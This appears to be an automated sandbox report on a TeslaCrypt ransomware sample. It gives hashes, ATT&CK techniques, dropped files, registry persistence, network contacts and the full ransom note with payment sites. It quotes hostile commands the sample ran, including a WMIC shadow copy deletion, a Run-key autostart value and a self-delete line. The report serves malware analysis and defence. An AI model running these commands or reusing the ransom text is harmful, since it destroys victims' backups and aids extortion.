teslacrypt | 4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8

Analysis

max time kernel
150s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
resource tags

arch:x64arch:x86image:win10v2004-20220414-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2022, 17:47 UTC

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General

Target

4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe
Size

328KB
MD5

68e815419a02c8d958a2bd5ecbe046c7
SHA1

812292949d5512e3a319396e9b69aed1497e7cca
SHA256

4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8
SHA512

f4f5d2f4880c34b60d2264e304f85862fa3fab51a367fd946377dfded58b8c1cff221c93bfca02783ba8fb4954bc920c655e13696502ffb1b80c1543e61e9839

Score

10^/10

teslacrypt persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-1809750270-3141839489-3074374771-1000\Recovery+xahhw.txt

Family

teslacrypt

Ransom Note

NOT YOUR LANGUAGE? USE https://translate.google.com What happened to your files ? All of your files were protected by a strong encryption with RSA-4096. More information about the encryption keys using RSA-4096 can be found here: http://en.wikipedia.org/wiki/RSA_(cryptosystem) How did this happen ? !!! Specially for your PC was generated personal RSA-4096 KEY, both public and private. !!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet. !!! Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server What do I do ? So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BITCOIN NOW! , and restore your data easy way. If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment. For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: 1. http://tt54rfdjhb34rfbnknaerg.milerteddy.com/CCE9DBE17B9B2E 2. http://kkd47eh4hdjshb5t.angortra.at/CCE9DBE17B9B2E 3. http://ytrest84y5i456hghadefdsd.pontogrot.com/CCE9DBE17B9B2E If for some reasons the addresses are not available, follow these steps: 1. Download and install tor-browser: http://www.torproject.org/projects/torbrowser.html.en 2. After a successful installation, run the browser 3. Type in the address bar: xlowfznrg4wf7dli.onion/CCE9DBE17B9B2E 4. Follow the instructions on the site. ---------------- IMPORTANT INFORMATION------------------------ *-*-* Your personal pages: http://tt54rfdjhb34rfbnknaerg.milerteddy.com/CCE9DBE17B9B2E http://kkd47eh4hdjshb5t.angortra.at/CCE9DBE17B9B2E http://ytrest84y5i456hghadefdsd.pontogrot.com/CCE9DBE17B9B2E *-*-* Your personal page Tor-Browser: xlowfznrg4wf7dli.ONION/CCE9DBE17B9B2E

URLs

http://tt54rfdjhb34rfbnknaerg.milerteddy.com/CCE9DBE17B9B2E

http://kkd47eh4hdjshb5t.angortra.at/CCE9DBE17B9B2E

http://ytrest84y5i456hghadefdsd.pontogrot.com/CCE9DBE17B9B2E

http://xlowfznrg4wf7dli.ONION/CCE9DBE17B9B2E

Signatures

TeslaCrypt, AlphaCrypt
Ransomware based on CryptoLocker. Shut down by the developers in 2016.
ransomware teslacrypt
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 1 IoCs

pid	Process
1628	germwqblkwcm.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	germwqblkwcm.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows\CurrentVersion\Run	germwqblkwcm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\imdscbbghiix = "C:\\Windows\\system32\\cmd.exe /c start \"\" \"C:\\Windows\\germwqblkwcm.exe\""	germwqblkwcm.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_2019.1111.2029.0_neutral_~_8wekyb3d8bbwe\microsoft.system.package.metadata\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-48_altform-lightunplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_11811.1001.18.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\StoreWideTile.scale-200.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Assets\Store\StoreLogo.scale-200.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe\Assets\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\AppIcon.targetsize-64_contrast-black.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Services.Store.Engagement_10.0.18101.0_x64__8wekyb3d8bbwe\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\GenericMailSmallTile.scale-200.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\Assets\GameBar_AppList.scale-200.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-40.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Exchange.scale-300.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe\Assets\GetStartedAppList.targetsize-16_contrast-white.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteSmallTile.scale-400.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-60.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-48.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\LTR\contrast-white\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft.NET\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\LTR\contrast-white\WideTile.scale-100.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsAppList.targetsize-48_altform-lightunplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\packetizer\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\LTR\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-96_altform-unplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\InsiderHubAppList.scale-200.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-64_altform-unplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\LanguageModel\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\MixedRealityPortalAppList.targetsize-256_altform-lightunplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.targetsize-256_altform-unplated_contrast-black_devicefamily-colorfulunplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_BeforeEach_AfterEach.help.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Viewpoints\Light\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Common.View.UWP\Strings\el-GR\View3d\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteAppList.targetsize-96_altform-unplated.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-white\StoreLogo.scale-150_contrast-white.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-black_targetsize-30.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Transit\contrast-white\LargeTile.scale-200.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.YourPhone_0.19051.7.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppTiles\contrast-white\AppIcon.scale-125_contrast-white.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\210x173\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Videos\Help\FlatFreehand3D.mp4	germwqblkwcm.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\89.0.4389.114\Locales\lt.pak	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_2019.904.1644.0_neutral_~_8wekyb3d8bbwe\microsoft.system.package.metadata\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-white\SmallTile.scale-400_contrast-white.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MediumTile.scale-125_contrast-white.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\contrast-white\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-96_contrast-white.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Lumia.MagicEdit\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in\Recovery+xahhw.html	germwqblkwcm.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-100.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\Recovery+xahhw.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNotePageMedTile.scale-125.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Test\Modules\Example1.Diagnostics\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_neutral_split.scale-100_8wekyb3d8bbwe\microsoft.system.package.metadata\Recovery+xahhw.txt	germwqblkwcm.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-20_contrast-black.png	germwqblkwcm.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Recovery+xahhw.png	germwqblkwcm.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\germwqblkwcm.exe	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe
File opened for modification	C:\Windows\germwqblkwcm.exe	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
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1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
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1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
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1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
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1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe
1628	germwqblkwcm.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe
Token: SeDebugPrivilege	1628	germwqblkwcm.exe
Token: SeIncreaseQuotaPrivilege	2548	WMIC.exe
Token: SeSecurityPrivilege	2548	WMIC.exe
Token: SeTakeOwnershipPrivilege	2548	WMIC.exe
Token: SeLoadDriverPrivilege	2548	WMIC.exe
Token: SeSystemProfilePrivilege	2548	WMIC.exe
Token: SeSystemtimePrivilege	2548	WMIC.exe
Token: SeProfSingleProcessPrivilege	2548	WMIC.exe
Token: SeIncBasePriorityPrivilege	2548	WMIC.exe
Token: SeCreatePagefilePrivilege	2548	WMIC.exe
Token: SeBackupPrivilege	2548	WMIC.exe
Token: SeRestorePrivilege	2548	WMIC.exe
Token: SeShutdownPrivilege	2548	WMIC.exe
Token: SeDebugPrivilege	2548	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2548	WMIC.exe
Token: SeRemoteShutdownPrivilege	2548	WMIC.exe
Token: SeUndockPrivilege	2548	WMIC.exe
Token: SeManageVolumePrivilege	2548	WMIC.exe
Token: 33	2548	WMIC.exe
Token: 34	2548	WMIC.exe
Token: 35	2548	WMIC.exe
Token: 36	2548	WMIC.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 1628	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe	83
PID 2192 wrote to memory of 1628	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe	83
PID 2192 wrote to memory of 1628	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe	83
PID 2192 wrote to memory of 4348	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe	84
PID 2192 wrote to memory of 4348	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe	84
PID 2192 wrote to memory of 4348	2192	4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe	84
PID 1628 wrote to memory of 2548	1628	germwqblkwcm.exe	86
PID 1628 wrote to memory of 2548	1628	germwqblkwcm.exe	86

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	germwqblkwcm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	germwqblkwcm.exe

C:\Users\Admin\AppData\Local\Temp\4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe
"C:\Users\Admin\AppData\Local\Temp\4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\germwqblkwcm.exe
  C:\Windows\germwqblkwcm.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1628
- - C:\Windows\System32\wbem\WMIC.exe
    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete /noin teractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2548
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\AppData\Local\Temp\4E6266~1.EXE
  2⤵
  PID:4348

Network

DNS

snibi.se

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

snibi.se

IN A

Response
DNS

danecobain.com

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

danecobain.com

IN A

Response

danecobain.com

IN A

107.6.161.162
POST

http://danecobain.com/legacy/language/bstr.php

germwqblkwcm.exe

Remote address:

107.6.161.162:80

Request

POST /legacy/language/bstr.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Host: danecobain.com
Content-Length: 645
Cache-Control: no-cache

Response

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
x-powered-by: PHP/7.4.30
content-type: text/html; charset=UTF-8
expires: Wed, 20 Jul 2022 21:08:58 GMT
cache-control: max-age=3600
x-redirect-by: WordPress
location: https://danecobain.com/legacy/language/bstr.php
content-length: 0
date: Wed, 20 Jul 2022 20:08:58 GMT
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
GET

https://danecobain.com/legacy/language/bstr.php

germwqblkwcm.exe

Remote address:

107.6.161.162:443

Request

GET /legacy/language/bstr.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Cache-Control: no-cache
Host: danecobain.com
Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently

Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
x-powered-by: PHP/7.4.30
content-type: text/html; charset=UTF-8
expires: Wed, 20 Jul 2022 21:08:59 GMT
cache-control: max-age=3600
x-redirect-by: WordPress
location: https://www.danecobain.com/legacy/language/bstr.php
content-length: 0
date: Wed, 20 Jul 2022 20:08:59 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
DNS

www.danecobain.com

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

www.danecobain.com

IN A

Response

www.danecobain.com

IN CNAME

danecobain.com

danecobain.com

IN A

107.6.161.162
GET

https://www.danecobain.com/legacy/language/bstr.php

germwqblkwcm.exe

Remote address:

107.6.161.162:443

Request

GET /legacy/language/bstr.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Cache-Control: no-cache
Connection: Keep-Alive
Host: www.danecobain.com

Response

HTTP/1.1 404 Not Found

Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
x-powered-by: PHP/7.4.30
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
link: <https://www.danecobain.com/wp-json/>; rel="https://api.w.org/"
transfer-encoding: chunked
date: Wed, 20 Jul 2022 20:08:59 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
DNS

jessforkicks.com

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

jessforkicks.com

IN A

Response
DNS

heizhuangym.com

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

heizhuangym.com

IN A

Response
DNS

infotlogomas.malangkota.go.id

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

infotlogomas.malangkota.go.id

IN A

Response
DNS

csucanuevo.csuca.org

germwqblkwcm.exe

Remote address:

8.8.8.8:53

Request

csucanuevo.csuca.org

IN A

Response

178.79.208.1:80

260 B
5
107.6.161.162:80

http://danecobain.com/legacy/language/bstr.php

http

germwqblkwcm.exe

1.4kB
600 B
12
4

HTTP Request

POST http://danecobain.com/legacy/language/bstr.php

HTTP Response

301
107.6.161.162:443

https://danecobain.com/legacy/language/bstr.php

tls, http

germwqblkwcm.exe

1.2kB
7.5kB
16
12

HTTP Request

GET https://danecobain.com/legacy/language/bstr.php

HTTP Response

301
107.6.161.162:443

https://www.danecobain.com/legacy/language/bstr.php

tls, http

germwqblkwcm.exe

3.1kB
66.8kB
56
52

HTTP Request

GET https://www.danecobain.com/legacy/language/bstr.php

HTTP Response

404
52.109.12.20:443

40 B
1
20.189.173.1:443

322 B
7
13.107.21.200:443

40 B
1
104.18.25.243:80

322 B
7
13.107.21.200:443

www.bing.com

tls, https

2.8kB
8.5kB
19
18

8.8.8.8:53

snibi.se

dns

germwqblkwcm.exe

54 B
130 B
1
1

DNS Request

snibi.se
8.8.8.8:53

danecobain.com

dns

germwqblkwcm.exe

60 B
76 B
1
1

DNS Request

danecobain.com

DNS Response

107.6.161.162
8.8.8.8:53

www.danecobain.com

dns

germwqblkwcm.exe

64 B
94 B
1
1

DNS Request

www.danecobain.com

DNS Response

107.6.161.162
8.8.8.8:53

jessforkicks.com

dns

germwqblkwcm.exe

62 B
135 B
1
1

DNS Request

jessforkicks.com
8.8.8.8:53

heizhuangym.com

dns

germwqblkwcm.exe

61 B
134 B
1
1

DNS Request

heizhuangym.com
8.8.8.8:53

infotlogomas.malangkota.go.id

dns

germwqblkwcm.exe

75 B
125 B
1
1

DNS Request

infotlogomas.malangkota.go.id
8.8.8.8:53

csucanuevo.csuca.org

dns

germwqblkwcm.exe

66 B
110 B
1
1

DNS Request

csucanuevo.csuca.org

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

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Downloads

C:\Windows\germwqblkwcm.exe

Filesize
328KB

MD5
68e815419a02c8d958a2bd5ecbe046c7

SHA1
812292949d5512e3a319396e9b69aed1497e7cca

SHA256
4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8

SHA512
f4f5d2f4880c34b60d2264e304f85862fa3fab51a367fd946377dfded58b8c1cff221c93bfca02783ba8fb4954bc920c655e13696502ffb1b80c1543e61e9839

Download Submit
C:\Windows\germwqblkwcm.exe

Filesize
328KB

MD5
68e815419a02c8d958a2bd5ecbe046c7

SHA1
812292949d5512e3a319396e9b69aed1497e7cca

SHA256
4e6266fbc4a6cc09304e582382095dc5681493589f6e2dc60ba968c3101ae2c8

SHA512
